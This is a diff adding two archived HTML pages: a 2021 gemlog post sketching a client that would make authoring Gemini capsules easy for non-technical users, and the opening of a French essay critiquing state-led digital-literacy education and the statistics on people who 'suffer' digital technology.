@@ -0,0 +1,192 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Making Gemini Easy (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://proxy.vulpes.one/gemini/tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Making Gemini Easy</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://proxy.vulpes.one/gemini/tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<div class="section"><p class="section__content">In both #gemini IRC channels (tilde.chat and libera.chat) I had different conversations lead me to explaining the same vision I have for a way to make gemspace much easier for non-technical people. I thought I should write it up here for posterity.</p></div> | |||
<p class="section"><span class="section__type"> ##</span><h2 class="section__content">Reading content</h2></p> | |||
<div class="section"><p class="section__content">First of all, reading gemini is already easy. The only barrier to entry is getting a gemini client. This is not a real barrier, though. People the world over are already familiar with downloading a program to work on a non-web thing. Take BitTorrent for example. Still too techy? How about literally any game?</p></div> | |||
<div class="section"><p class="section__content">We've also got proxies, but I don't think they're actually helping with the ease-of-use. They're a crutch preventing someone from the 2 minute task of "oh, let me download the app," which will have them connected going forward. Regardless, reading isn't hard and it's not the focus of my vision.</p></div> | |||
<p class="section"><span class="section__type"> ##</span><h2 class="section__content">Authoring content</h2></p> | |||
<div class="section"><p class="section__content">The more difficult task is authoring content. How do you pick a server? In this use case you are a non-technical user, so you're not looking for server software to install, but instead a host where you can put your content. There's not a good place to browse for that. Maybe you'll ask around, but where? You're not on the mailing list or in IRC. You'll probably ask whoever told you about gemini.</p></div> | |||
<div class="section"><p class="section__content">So you pick a place to have your presence. Now how do you get your own space? There's no "register" button on Gemini, right? Do you need to email someone? Did you stumble into the tildeverse? Now you're reading about making public and private keys and the command line. This can't be right. Gemini is supposed to be easy. Your friend told you that you just write text files and had a special caret thing for links. Why are we calling up a terminal now?</p></div> | |||
<div class="section"><p class="section__content">This is where things fall apart for many. In order to get them to use our very simple tool we have them jump through many non-simple hoops.</p></div> | |||
<div class="section"><p class="section__content">We're capable of making this process easier for people. So much of what it takes to add content to a gemini capsule is things we can automate. So why don't we?</p></div> | |||
<p class="section"><span class="section__type"> ##</span><h2 class="section__content">Making it easy</h2></p> | |||
<div class="section"><p class="section__content">Imagine a new client. This client is a little different. When you launch it you can browse gemini like all good little clients. But there's another option here. You go to File -> New, and choose "Capsule". You are presented a list of servers available to join. Ahh, there, "GemJournal". That sounds cute, sorta like LiveJournal. You select it and it prompts you for your capsule name. I'll call this one "Artemis". That sounds cool. You are prompted to create a password. Enter it twice to double check. There we go.</p></div> | |||
<div class="section"><p class="section__content">What's this now? A little folder view on the side showing my capsule? I can click this button here to create a new gemlog, or maybe I'll just select one of these files and open it in the editor. Ahh, here's the gemtext that my friend was telling me about. I'll do a little doodle here. Maybe an ascii art bow as the symbol of Artemis. File -> Save and... oh, it's published! I can click this link to jump right to the... oh wow, look what I made!</p></div> | |||
<p class="section"><span class="section__type"> ##</span><h2 class="section__content">Automate away the crud</h2></p> | |||
<div class="section"><p class="section__content">That experience I just described is something we're capable of making right now. Someone grab the source code to Kristall and start a new branch! User creation could be quietly creating SSH keys in the background. The folder list is an SFTP connection. The rest is just some pretty UI. Or maybe it's much more robust than that! Maybe this whole thing uses Titan and creates accounts through some neat one-off protocol handshakey stuff. It really doesn't matter at all. The point is that the user will have something that feels seamless. It feels easy and natural. And, quite importantly, the web had nothing to do with it.</p></div> | |||
<div class="section"><p class="section__content">For a v1, maybe it doesn't have a list of hosts available. Maybe the app is hard-wired to work with GemJournal.com only, that way the client author can also be a server maintainer and build both halves together. But really, based on the amazing craziness you all do already I don't see any of this as far fetched.</p></div> | |||
<p class="section"><span class="section__type"> ##</span><h2 class="section__content">Impact</h2></p> | |||
<div class="section"><p class="section__content">This little app concept has some real potential for impact to our ecosystem as well. If people can join the space without any technical knowledge beyond the gemtext editor (hey, how about a WYSIWYG?) we can truly get beyond that frustrating limitation where we talk about our own protocol (like this gemlog!) all the time. We can get that influx of educators, of artists, of writers. </p></div> | |||
<div class="section"><p class="section__content">A writing platform that cuts out all the cruft and tracking and ads? And all I need to do is download this app and join? Oh, it's free! Hell's yes! Thanks for making it so easy!</p></div> | |||
<div class="section"><p class="section__content">Originally Published 2021-11-03 at:</p></div> | |||
<div class="section"><p class="section__content">gemini://tilde.team/~tomasino/journal/20211103-making-gemini-easy.gmi</p></div> | |||
<div class="section"><p class="section__content">If you have questions or thoughts to add please send me a link to your response.</p></div> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,244 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://louisderrac.com/2021/11/03/eduquer-au-numerique-daccord-mais-pas-nimporte-lequel-et-pas-nimporte-comment/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>Éduquer au numérique d’accord. Mais pas n’importe lequel et pas n’importe comment</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://louisderrac.com/2021/11/03/eduquer-au-numerique-daccord-mais-pas-nimporte-lequel-et-pas-nimporte-comment/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>Le petit monde de l’éducation au numérique est en train de s’élargir. Les enseignants, médiateurs, formateurs et acteurs sociaux existants, seront bientôt rejoints par les « Conseillers numériques ». Comme l’explique <a href="https://www.conseiller-numerique.gouv.fr/">le site dédié du programme</a>, « sur une durée de deux ans, l’État finance la formation et le déploiement de 4 000 conseillers numériques France Services ». Toujours selon le site, ces conseillers accompagneront les 13 millions de français qui « subissent » la transition [numérique].</p> | |||
<p>L’éducation au numérique monte donc en puissance. Mais vers quelle éducation se dirige-t-on ? Qui éduque-t-on, et à quel numérique ? Et surtout, cette éducation au numérique n’est-elle pas le blanc-seing qui rend progressivement légitime et tolérable une numérisation totale de la société ? </p> | |||
<p>Cet article pose ces questions et propose un début de réflexion, mais j’espère surtout engager un échange avec les premiers concernés : la communauté des éducateur·ice·s dont je fais partie.</p> | |||
<h2><span class="ez-toc-section" id="Avant_propos_eduquer_au_numerique"></span>Avant propos : éduquer au numérique ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Dans cet article, je parlerai d’éducation au numérique, et d’éducateurs. Par éducation, j’ai choisi d’englober l’éducation tout au long de la vie. L’éducation scolaire et périscolaire, l’enseignement supérieur, la formation d’adultes, l’accompagnement des publics par des médiateurs et acteurs sociaux, etc. J’ai conscience que ces écosystèmes sont très différents, n’impliquent pas les mêmes ministères, les mêmes acteurs, les mêmes problématiques. Mais je suis également convaincu que certaines réflexions, tensions, et questionnements les traversent de la même manière. C’est le cas de ceux que je développe dans cet article.</p> | |||
<h2 id="h-13-millions-de-fran-ais-qui-subissent-le-num-rique-duquer-qui"><span class="ez-toc-section" id="13_millions_de_Francais_qui_%C2%AB_subissent_%C2%BB_le_numerique_eduquer_qui"></span>13 millions de Français qui « subissent » le numérique : éduquer qui ?<span class="ez-toc-section-end"></span></h2> | |||
<p>13 millions de Français « subiraient » le numérique, d’après le site Conseillers numériques. Le fait de « subir » le numérique est d’ailleurs bien subjectif. Côté <a href="https://www.insee.fr/fr/statistiques/4241397">INSEE</a>, ce serait plus d’un français sur trois qui « manquerait de compétences numériques de base ». Pour <a href="https://emmaus-connect.org/">Emmaüs Connect</a>, qui cite le <a href="https://www.economie.gouv.fr/files/files/directions_services/cge/Barometre_numerique_2021.pdf">Baromètre du Numérique 2021</a>, 35% des Français sont « encore en grande difficulté avec le numérique ». Difficile de suivre toutes ces formules qui, si elles ont le mérite d’être percutantes, n’en sont pas moins obscures. Qu’est-ce que « subir le numérique » ? Quelles sont ces « compétences numériques de base » ? Qu’implique concrètement « être en grande difficulté avec le numérique » ?</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.25.05-1024x580.png" alt="" class="wp-image-8640" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1024x580.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-300x170.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-768x435.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1536x869.png 1536w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1120x634.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-540x306.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05-1080x611.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.25.05.png 1756w" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption>Graphique issu du <a href="https://www.economie.gouv.fr/files/files/directions_services/cge/Barometre_numerique_2021.pdf">Baromètre du Numérique 2021</a></figcaption></figure> | |||
<p>Dans ce graphique du Baromètre, il est intéressant de compter l’absence d’équipement comme une forme de difficulté. A-t-on considéré qu’il pouvait s’agir d’un choix ? A-t-on posé la question ? Idem pour l’accès à Internet, pour lequel les premiers résultats de <a href="https://www.marsouin.org/article953.html">l’enquête Capacity</a> montraient d’ailleurs que la raison principale de son non-usage était… l’absence d’intérêt. Plus largement, on voit les limites de ce type d’étude, qui partent du postulat que tout le monde veut se servir des outils numériques dans son quotidien. Ainsi, on pourrait tout à fait répondre qu’on ne rencontre aucun frein particulier… parce qu’on n’utilise aucun outil numérique et qu’on s’en porte très bien. </p> | |||
<figure class="wp-block-image size-full"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-03-a%CC%80-15.58.32.png" alt="" class="wp-image-8745" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32.png 868w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-300x169.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-768x434.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-03-à-15.58.32-540x305.png 540w" sizes="(max-width: 868px) 100vw, 868px"><figcaption>Les non-internautes seraient très majoritairement heureux de l’être d’après les premiers résultats de l’<a href="https://www.marsouin.org/article953.htmlhttps://www.marsouin.org/article953.html">enquête Capacity du GIS Marsouin</a></figcaption></figure> | |||
<p>Dans <a href="https://www.insee.fr/fr/statistiques/4241397">les statistiques de l’INSEE</a>, il est aussi intéressant de regarder en détail ces plus d’un français sur trois qui manqueraient au moins d’une compétence numérique. Si dans l’ensemble, 16,5 % des français sont en situation « d’illectronisme » (un terme qui au passage, est peu apprécié sur le terrain), ils ne sont que 3% au sein des 15-45 ans, et moins de 10% chez les 45-60 ans. Du côté des compétences, alors qu’un français sur deux dans l’ensemble manque au moins de l’une d’entre elles, ils sont 19% chez les 15-30 ans et 33% chez les 30-44 ans. L’effet de l’âge est saisissant (mais pas étonnant). Sans surprise là aussi, le niveau de diplôme joue fortement sur les disparités d’équipement, d’usage et d’incapacités.</p> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.30.25-1024x504.png" alt="" class="wp-image-8641" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1024x504.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-300x148.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-768x378.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1120x551.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-540x266.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25-1080x531.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.30.25.png 1342w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<figure class="wp-block-image size-large"><img src="https://louisderrac.com/wp-content/uploads/2021/11/Capture-de%CC%81cran-2021-11-02-a%CC%80-17.38.10-1024x224.png" alt="" class="wp-image-8643" srcset="https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1024x224.png 1024w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-300x66.png 300w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-768x168.png 768w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1120x245.png 1120w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-540x118.png 540w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10-1080x236.png 1080w, https://louisderrac.com/wp-content/uploads/2021/11/Capture-décran-2021-11-02-à-17.38.10.png 1352w" sizes="(max-width: 1024px) 100vw, 1024px"></figure> | |||
<p>En fait, toutes ces formules obscures semblent parfois n’exister que pour noyer les poissons (parce qu’il y en a plusieurs). Par exemple, les personnes âgées « subissent » massivement le numérique, c’est irréfutable. Mais ce n’est pas forcément parce qu’elles n’arrivent pas à s’en saisir. C’est aussi parce qu’elles n’en voient pas l’intérêt, qu’elles ont toujours fonctionné sans et que ça leur va très bien. Donc elles ne sont pas équipées, et ne se sont jamais « formées ». Les personnes en situation de précarité subissent elles-aussi massivement le numérique. Elles ont déjà toutes les peines du monde dans une société et une administration physique, et il n’y a aucune raison de croire que le numérique leur soit aujourd’hui d’une quelconque aide. Toutes les études ont démontré que les technologies numériques avaient tendance à amplifier les inégalités existantes, toutes.</p> | |||
<h3><span class="ez-toc-section" id="Eduquer_au_numerique_sans_se_tromper_de_priorites"></span>Éduquer au numérique sans se tromper de priorités<span class="ez-toc-section-end"></span></h3> | |||
<p>Certain·e·s citoyen·ne·s ne souhaitent ni s’équiper, ni se former au numérique. Selon les poncifs actuels, ils continueront donc à le subir, à être en fracture numérique, à être exclus, mais n’est-ce pas d’abord un droit qu’il faut respecter ? Et si oui, ne faut-il pas commencer par arrêter de traiter de « fracturé » quelqu’un qui fait le choix de ne pas être équipé et formé ? Ensuite, la priorité sera de créer les conditions d’une société physique qui peut se passer de numérique pour vivre (pour payer, accéder à ses droits, à ses services publics et privés, etc.). Quitte à remettre démocratiquement en question une numérisation totale, dont le bénéfice/risque n’est pas si évident (ne serait-ce qu’en terme de résilience et dans un contexte d’urgence écologique).</p> | |||
<p>Certain·e·s citoyen·ne·s seraient quant à eux tout à fait intéressé·e·s par les technologies numériques, mais leur priorité est d’abord d’améliorer leur condition sociale : leur travail, leur logement, leur santé, leurs enfants, etc. Vouloir contrer une forme d’exclusion numérique, provoquée par une inégalité sociale, par de l’éducation au numérique au lieu de s’attaquer aux racines de l’inégalité sociale n’est pas acceptable. Cela voudrait dire qu’on accepte qu’il y ait des Français en situation de précarité, tant que cette précarité est numérisée. Je pense qu’on se trompe de priorité, surtout si on intègre l’urgence climatique qui ne pourra jamais être contrée sans justice sociale.</p> | |||
<p>La priorité de l’éducation au numérique, et ce quel que soit le public, est sans doute de doter les citoyens d’une culture commune de ce qu’on appelle aujourd’hui communément « le » numérique. Un terme qu’on sait être très polysémique. Il y a donc un travail immense d’éducation au numérique dans l’éducation nationale, dans l’enseignement supérieur, dans la formation continue des salariés, dans l’animation des citoyens par les collectivités territoriales ou les associations. Je développe cet aspect dans les parties suivantes.</p> | |||
<h2><span class="ez-toc-section" id="GAFAM_BATX_modeles_alternatifs_eduquer_a_quoi"></span>GAFAM, BATX, modèles alternatifs : éduquer à quoi ?<span class="ez-toc-section-end"></span></h2> | |||
<p>Quels que soient ses publics (enfants, adultes, publics dits « éloignés »), l’éducation au numérique est passée par toutes les phases et disparités compte tenu de l’hétérogénéité de ses acteurs : enseignants, éducateurs, bénévoles d’associations, médiateurs ou encore acteurs sociaux. Humains avant tout, chacun ayant un rapport propre aux technologies numériques, des opinions politiques, des niveaux d’acculturation, des goûts personnels, etc.</p> | |||
<p>L’éducation au numérique a d’abord pris un tour de « prévention des risques ». C’était particulièrement vrai au début, quand Internet était cet objet incompris qui faisait peur au système politique et éducatif. Et c’est encore souvent vrai, surtout vis-à-vis des plus jeunes. Plus généralement, l’éducation au numérique a pris la forme d’une « éducation aux bons usages », s’attachant à former au fonctionnement des plateformes numériques dominantes. </p> | |||
<p>C’est lorsque plusieurs plateformes numériques dominantes se sont avérées être toxiques (Facebook, YouTube, Instagram, etc.) ou exagérément hégémoniques (Google, Microsoft, Apple, Amazon), que l’éducateur a commencé à être en proie aux doutes. La succession des scandales concernant certaines plateformes numériques oblige effectivement à se poser des questions. Une éducation au numérique qui consiste uniquement à « se faire manipuler le moins possible » par des publicités ciblées est-elle encore acceptable ? Une éducation au numérique qui se contente d’expliquer en quoi les mécanismes toxiques d’un réseau social favorisent l’égo et entraine la dépression a-t-elle encore le moindre sens ? Cette éducation avait-elle du sens pour commencer ?</p> | |||
<h3><span class="ez-toc-section" id="Muscler_leducation_au_numerique_et_la_rendre_plus_%C2%AB_militante_%C2%BB"></span>Muscler l’éducation au numérique et la rendre plus « militante »<span class="ez-toc-section-end"></span></h3> | |||
<p>Il est temps d’introduire dans notre éducation au numérique une dimension éminemment politique, culturelle et émancipatrice. Oui, tous les choix technologiques et techniques sont d’abord des choix politiques, ils incorporent des valeurs, des croyances, des idéologies. Non, ces choix n’ont rien d’inéluctables, et des alternatives peuvent voir le jour si on leur en laisse la possibilité. Oui, le débat démocratique et les revendications citoyennes sont encore largement absents des choix technologiques. La première mission de l’éducation au numérique devrait être de donner des clés de compréhension au citoyen. Y compris pour lui permettre de faire des choix entrainant moins de numérique. L’éducation au numérique doit être fondamentalement émancipatrice. Or on n’émancipe pas quelqu’un quand on se contente de lui apprendre à payer ses impôts.</p> | |||
